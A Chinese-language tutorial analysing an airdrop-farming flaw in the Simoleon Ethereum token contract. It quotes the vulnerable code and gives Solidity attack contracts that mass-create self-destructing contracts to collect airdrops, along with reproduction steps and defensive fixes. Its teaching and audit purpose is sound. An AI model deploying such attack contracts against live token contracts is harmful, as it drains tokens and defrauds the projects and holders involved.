区块链安全—循环Dos安全分析(一)
字数 1278 2025-08-22 12:22:15
区块链安全教学:循环DoS攻击与薅羊毛漏洞分析
一、以太坊Gas机制与安全背景
以太坊引入了Gas机制来防止恶意节点滥用区块资源和Dos攻击,但合约编写不当仍会导致安全漏洞。本教学重点分析循环DoS攻击和薅羊毛漏洞。
Gas机制关键点:
- 每笔交易消耗Gas,消耗量取决于交易复杂度
- 循环次数过多会导致Gas消耗超过区块限制
- 交易失败但已消耗的Gas不会返还
二、Simoleon合约漏洞分析
合约基本信息
- 合约地址:0x86c8bf8532aa2601151c9dbbf4e4c4804e042571
- 代币名称:Simoleon (SIM)
- 小数位数:2
- 空投金额:1,000,000 wei
- 总供应量上限:空投金额 × 10,000
关键合约结构
contract Simoleon is ERC20Interface {
// 变量定义
string public constant symbol = "SIM";
string public constant name = "Simoleon";
uint8 public constant decimals = 2;
uint256 _totalSupply = 0;
uint256 _airdropAmount = 1000000;
uint256 _cutoff = _airdropAmount * 10000;
mapping(address => uint256) balances;
mapping(address => bool) initialized;
mapping(address => mapping (address => uint256)) allowed;
// 构造函数
function Simoleon() {
initialized[msg.sender] = true;
balances[msg.sender] = _airdropAmount * 1000;
_totalSupply = balances[msg.sender];
}
// 其他函数...
}
漏洞核心:初始化函数
function initialize(address _address) internal returns (bool success) {
if (_totalSupply < _cutoff && !initialized[_address]) {
initialized[_address] = true;
balances[_address] = _airdropAmount;
_totalSupply += _airdropAmount;
}
return true;
}
漏洞点分析:
- 无条件空投:任何新地址首次交互都会获得空投
- 无防刷机制:可以无限创建新地址获取空投
- 转账函数自动初始化:转账时会自动初始化接收方地址
三、攻击原理与实现
薅羊毛攻击流程
- 创建主收款合约
- 批量创建临时合约
- 每个临时合约:
- 自动获得空投
- 将空投金额转至主收款合约
- 自毁临时合约
- 重复此过程直到达到Gas上限
攻击合约示例
1. 主收款合约
contract attacker{
address addr = 0x692...; // Simoleon合约地址
Simoleon target = Simoleon(addr);
function viewBalance() public constant returns(uint256){
return target.balanceOf(this);
}
}
2. 临时攻击合约
contract attack{
address target = 0x692...; // Simoleon合约地址
function attack() {
// 调用transfer函数将空投转至主合约
target.call(bytes4(keccak256("transfer(address,uint256)")),
0xfc7..., // 主合约地址
1000000); // 空投金额
selfdestruct(this);
}
}
3. 批量创建合约
contract bulid{
function deploy() public returns(bool){
for(int i=0;i<=50;i++){ // 循环次数根据Gas限制调整
new attack();
}
}
}
攻击效果
- 循环50次:成功获取50×1,000,000 wei
- 循环80次:可能因超出Gas限制而失败
- 实际攻击案例中,攻击者获得了7,110,000 SIM代币
四、防御措施
-
限制空投条件:
- 要求账户有最低余额
- 加入验证机制(如工作量证明)
-
防止批量创建:
- 限制每个区块/交易的空投数量
- 加入时间锁或冷却期
-
合约设计优化:
// 改进的初始化函数示例 function initialize(address _address) internal returns (bool) { require(_totalSupply + _airdropAmount <= _cutoff, "Total supply exceeded"); require(!initialized[_address], "Already initialized"); require(balances[msg.sender] > 0, "Sender must have balance"); initialized[_address] = true; balances[_address] = _airdropAmount; _totalSupply += _airdropAmount; return true; } -
Gas限制考虑:
- 避免在合约中使用大循环
- 复杂操作拆分为多个交易
五、相关案例与研究
-
LCTF题目案例:https://paper.seebug.org/747/
- 类似的循环DoS攻击场景
- 合约交互中的Gas优化问题
-
实际攻击交易分析:
- 攻击者地址:0xf2da5add7c6f8a47997efa04049ee7888542744b
- 通过多个临时合约转移资金
六、实验与复现
实验环境设置
- 使用Remix IDE或本地测试链
- Solidity版本:0.4.8
- 部署顺序:
- 部署Simoleon合约
- 部署attacker主收款合约
- 部署bulid批量创建合约
测试参数建议
- 初始测试:循环5次
- 中等测试:循环25-50次
- 极限测试:循环80次(预期失败)
七、总结与思考
-
安全开发原则:
- 所有外部输入都不可信
- 状态变更需严格验证
- 考虑最坏情况下的Gas消耗
-
审计要点:
- 检查所有可能导致无限铸造的逻辑
- 验证所有循环的边界条件
- 分析合约交互的Gas消耗模式
-
进阶研究方向:
- Gas优化与攻击的平衡
- 更复杂的防刷机制设计
- 合约升级模式下的漏洞防护
附录:完整合约代码
参见原文提供的Etherscan链接和实验代码,建议在实际测试环境中逐步部署验证。
本教学文档基于先知社区原创文章整理,转载请标明出处。实际应用时请遵守相关法律法规和道德规范。